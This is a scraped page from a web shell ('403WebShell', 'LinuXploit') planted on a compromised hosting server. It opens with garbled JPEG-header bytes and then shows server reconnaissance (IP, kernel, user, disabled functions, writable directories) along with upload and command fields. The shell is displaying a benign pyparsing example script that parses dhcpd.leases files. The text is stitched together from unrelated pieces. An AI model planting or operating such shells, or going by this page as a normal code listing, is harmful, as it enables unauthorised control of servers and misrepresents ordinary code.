JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.55  /  Your IP : 216.73.216.254
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/gsutil/third_party/pyparsing/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gsutil/third_party/pyparsing/examples/dhcpd_leases_parser.py
#
# dhcpd_leases_parser.py
#
# Copyright 2008, Paul McGuire
#
# Sample parser to parse a dhcpd.leases file to extract leases
# and lease attributes
#
# format ref: http://www.linuxmanpages.com/man5/dhcpd.leases.5.php
#

sample = r"""\
# All times in this file are in UTC (GMT), not your local timezone.   This is
# not a bug, so please don't ask about it.   There is no portable way to
# store leases in the local timezone, so please don't request this as a
# feature.   If this is inconvenient or confusing to you, we sincerely
# apologize.   Seriously, though - don't ask.
# The format of this file is documented in the dhcpd.leases(5) manual page.
# This lease file was written by isc-dhcp-V3.0.4

lease 192.168.0.250 {
  starts 3 2008/01/23 17:16:41;
  ends 6 2008/02/02 17:16:41;
  tstp 6 2008/02/02 17:16:41;
  binding state free;
  hardware ethernet 00:17:f2:9b:d8:19;
  uid "\001\000\027\362\233\330\031";
}
lease 192.168.0.198 {
  starts 1 2008/02/04 13:46:55;
  ends never;
  tstp 1 2008/02/04 17:04:14;
  binding state free;
  hardware ethernet 00:13:72:d3:3b:98;
  uid "\001\000\023r\323;\230";
}
lease 192.168.0.239 {
  starts 3 2008/02/06 12:12:03;
  ends 4 2008/02/07 12:12:03;
  tstp 4 2008/02/07 12:12:03;
  binding state free;
  hardware ethernet 00:1d:09:65:93:26;
}
"""

from pyparsing import *
import datetime, time

LBRACE, RBRACE, SEMI, QUOTE = map(Suppress, '{};"')
ipAddress = Combine(Word(nums) + ("." + Word(nums)) * 3)
hexint = Word(hexnums, exact=2)
macAddress = Combine(hexint + (":" + hexint) * 5)
hdwType = Word(alphanums)

yyyymmdd = Combine(
    (Word(nums, exact=4) | Word(nums, exact=2)) + ("/" + Word(nums, exact=2)) * 2
)
hhmmss = Combine(Word(nums, exact=2) + (":" + Word(nums, exact=2)) * 2)
dateRef = oneOf(list("0123456"))("weekday") + yyyymmdd("date") + hhmmss("time")


def utcToLocalTime(tokens):
    utctime = datetime.datetime.strptime(
        "%(date)s %(time)s" % tokens, "%Y/%m/%d %H:%M:%S"
    )
    localtime = utctime - datetime.timedelta(0, time.timezone, 0)
    tokens["utcdate"], tokens["utctime"] = tokens["date"], tokens["time"]
    tokens["localdate"], tokens["localtime"] = str(localtime).split()
    del tokens["date"]
    del tokens["time"]


dateRef.setParseAction(utcToLocalTime)

startsStmt = "starts" + dateRef + SEMI
endsStmt = "ends" + (dateRef | "never") + SEMI
tstpStmt = "tstp" + dateRef + SEMI
tsfpStmt = "tsfp" + dateRef + SEMI
hdwStmt = "hardware" + hdwType("type") + macAddress("mac") + SEMI
uidStmt = "uid" + QuotedString('"')("uid") + SEMI
bindingStmt = "binding" + Word(alphanums) + Word(alphanums) + SEMI

leaseStatement = (
    startsStmt | endsStmt | tstpStmt | tsfpStmt | hdwStmt | uidStmt | bindingStmt
)
leaseDef = (
    "lease"
    + ipAddress("ipaddress")
    + LBRACE
    + Dict(ZeroOrMore(Group(leaseStatement)))
    + RBRACE
)

for lease in leaseDef.searchString(sample):
    print(lease.dump())
    print(lease.ipaddress, "->", lease.hardware.mac)
    print()

Youez - 2016 - github.com/yon3zu
LinuXploit